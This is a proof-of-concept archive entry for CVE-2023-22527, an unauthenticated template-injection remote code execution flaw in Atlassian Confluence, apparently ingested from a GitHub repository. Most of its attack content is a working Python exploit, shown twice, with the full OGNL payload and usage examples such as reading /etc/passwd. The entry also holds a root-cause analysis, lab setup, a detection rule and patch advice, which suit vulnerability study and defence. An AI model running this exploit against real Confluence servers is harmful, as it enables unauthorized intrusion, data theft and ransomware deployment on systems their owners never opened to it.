PoC Archive PoC Archive
Critical CVE-2023-22527 patched

Confluence SSTI RCE - CVE-2023-22527

by Avento (jeyiuwai) · 2026-05-17


Metadata

FieldValue
Date Added2026-05-17
Last Updated2024-01-23
Author / ResearcherAvento (jeyiuwai)
CVE / AdvisoryCVE-2023-22527
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3)
StatusWeaponized
TagsRCE, Confluence, SSTI, Freemarker, OGNL, unauthenticated, Java, Atlassian, ransomware
RelatedN/A

Affected Target

FieldValue
Software / SystemAtlassian Confluence Data Center and Confluence Server
Versions Affected8.x before 8.5.4 (LTS); versions 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x affected; 7.x NOT affected
Language / PlatformJava / Apache Tomcat, Apache Struts 2, Velocity/Freemarker
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2023-22527 is a CVSS 10.0 unauthenticated Remote Code Execution vulnerability in Atlassian Confluence Data Center and Server. The vulnerability is a Server-Side Template Injection (SSTI) in the Velocity/Freemarker template engine, reachable via the /template/aui/text-inline.vm endpoint without authentication. By injecting OGNL expressions into the label parameter and a command into the x parameter, an attacker can trigger arbitrary OS command execution via freemarker.template.utility.Execute. The vulnerability has been actively exploited by ransomware groups and nation-state actors.


Vulnerability Details

Root Cause

The template file confluence/template/aui/text-inline.vm uses $stack.findValue("getText('$parameters.label')") to evaluate the label parameter through the Velocity template engine. The evaluation chain passes through org.apache.struts2.views.velocity.StrutsVelocityContext#internalGet and org.apache.struts2.views.jsp.ui.OgnlTool#findValue, which evaluates the injected value as an OGNL expression. The OGNL expression can access #request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(#parameters.x,{}), which in turn evaluates the x POST parameter as a second-stage OGNL expression. This second expression can instantiate freemarker.template.utility.Execute and call exec(), ultimately invoking java.lang.Runtime#exec. The patch adds a ConfluenceOgnlGuard that blocks access to #context, #request, #parameters, #session, #application, and #attr variable references.

Attack Vector

Unauthenticated HTTP POST to /template/aui/text-inline.vm with Content-Type: application/x-www-form-urlencoded. The label parameter contains a URL-encoded OGNL traversal to access the OGNL evaluation context, and the x parameter contains the command to execute via freemarker.template.utility.Execute. The command output is returned in the X-Cmd-Response response header.

Impact

Unauthenticated Remote Code Execution as the Confluence server process user (typically confluence on Linux). Full OS command execution enables data exfiltration, lateral movement, ransomware deployment, and persistent backdoor installation.


Environment / Lab Setup

OS:          Linux (Ubuntu 22.04 recommended)
Target:      Confluence Data Center 8.x < 8.5.4 (Docker via docker-compose.yml in repo)
Attacker:    Kali Linux or any system with Python 3 + requests
Tools:       Python 3, requests; Docker + Docker Compose for lab

Setup Steps

1
2
3
4
docker compose up -d
pip install requests

python CVE-2023-22527.py --target http://192.168.11.136:8092 --cmd "id"

Proof of Concept

Step-by-Step Reproduction

  1. Start vulnerable Confluence - Use provided docker-compose.yml

    1
    
    docker compose up -d
    
  2. Execute command via SSTI - Inject OGNL through template endpoint

    1
    
    python CVE-2023-22527.py --target http://<target>:8092 --cmd "id"
    
  3. Verify in access logs - Successful exploitation returns HTTP 200

    192.168.11.1 - [23/Jan/2024:06:04:42 +0000] "POST /template/aui/text-inline.vm HTTP/1.1" 200 28906
    

Exploit Code

See CVE-2023-22527.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests
target = "http://target:8092"
cmd = "id"
url = f"{target}/template/aui/text-inline.vm"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = (r"label='%2b#request['.KEY_velocity.struts2.context']"
        r".internalGet('ognl').findValue(#parameters.x,{})%2b'"
        f"&x=@org.apache.struts2.ServletActionContext@getResponse()"
        f".setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({{'{cmd}'}}))") 
r = requests.post(url, headers=headers, data=data, verify=False)
print(r.headers.get("X-Cmd-Response"))

Expected Output

uid=1000(confluence) gid=1000(confluence) groups=1000(confluence)

Screenshots / Evidence

  • Repo includes a diff screenshot showing the vulnerable text-inline.vm template (external image link).

Detection & Indicators of Compromise

POST /template/aui/text-inline.vm HTTP/1.1 200

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"CVE-2023-22527 Confluence SSTI RCE Attempt"; content:"POST"; http_method; content:"/template/aui/text-inline.vm"; http_uri; content:"KEY_velocity.struts2.context"; http_client_body; sid:9000012;)

Remediation

ActionDetail
PatchUpgrade to Confluence 8.5.4 (LTS) or later. Confluence 7.x and earlier are NOT affected.
WorkaroundRestrict external access to /_template/ paths at the network perimeter; block unauthenticated POST requests to /template/aui/ via WAF or reverse proxy.
Config HardeningApply Atlassian’s ConfluenceOgnlGuard configuration update; disable public-facing Confluence instances or place behind VPN.

References


Notes

One of the most exploited Confluence vulnerabilities since Log4Shell. The repo includes a docker-compose.yml for setting up a vulnerable lab environment and an all-stack.txt containing the complete call stack trace. The exploit chain goes through Velocity -> StrutsVelocityContext -> OgnlTool -> Freemarker Execute -> Runtime.exec. The command output is exfiltrated via a custom response header (X-Cmd-Response) making detection harder than a typical RCE that returns output in the body. Stars: 26, Forks: 5. Language: Python.

Auto-ingested from https://github.com/Avento/CVE-2023-22527_Confluence_RCE on 2026-05-17.

CVE-2023-22527.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# @Time    : 2024/1/23
# @Author  : jeyiuwai
# @File    : CVE-2023-22527.py
import argparse

import requests


def exploit(target, cmd):
    url = f"{target}/template/aui/text-inline.vm"

    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = r"label='%2b#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(#parameters.x,{})%2b'&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'" + cmd + "'}))"

    response = requests.post(url, headers=headers, data=data, verify=False)
    if (response.headers.get("X-Cmd-Response")):
        print(response.headers.get("X-Cmd-Response"))
    else:
        print("No response")


def main():
    parser = argparse.ArgumentParser(
        description="Send request with target and cmd parameters",
        usage="python3 CVE-2023-22527.py --target <target> --cmd <cmd>\nExample: python3 CVE-2023-22527.py --target http://192.168.11.136:8092 --cmd \"cat /etc/passwd\""
    )
    parser.add_argument("--target", required=True, help="Target address")
    parser.add_argument("--cmd", required=True, help="Value for the cmd parameter")

    args = parser.parse_args()

    exploit(args.target, args.cmd)

if __name__ == "__main__":
    main()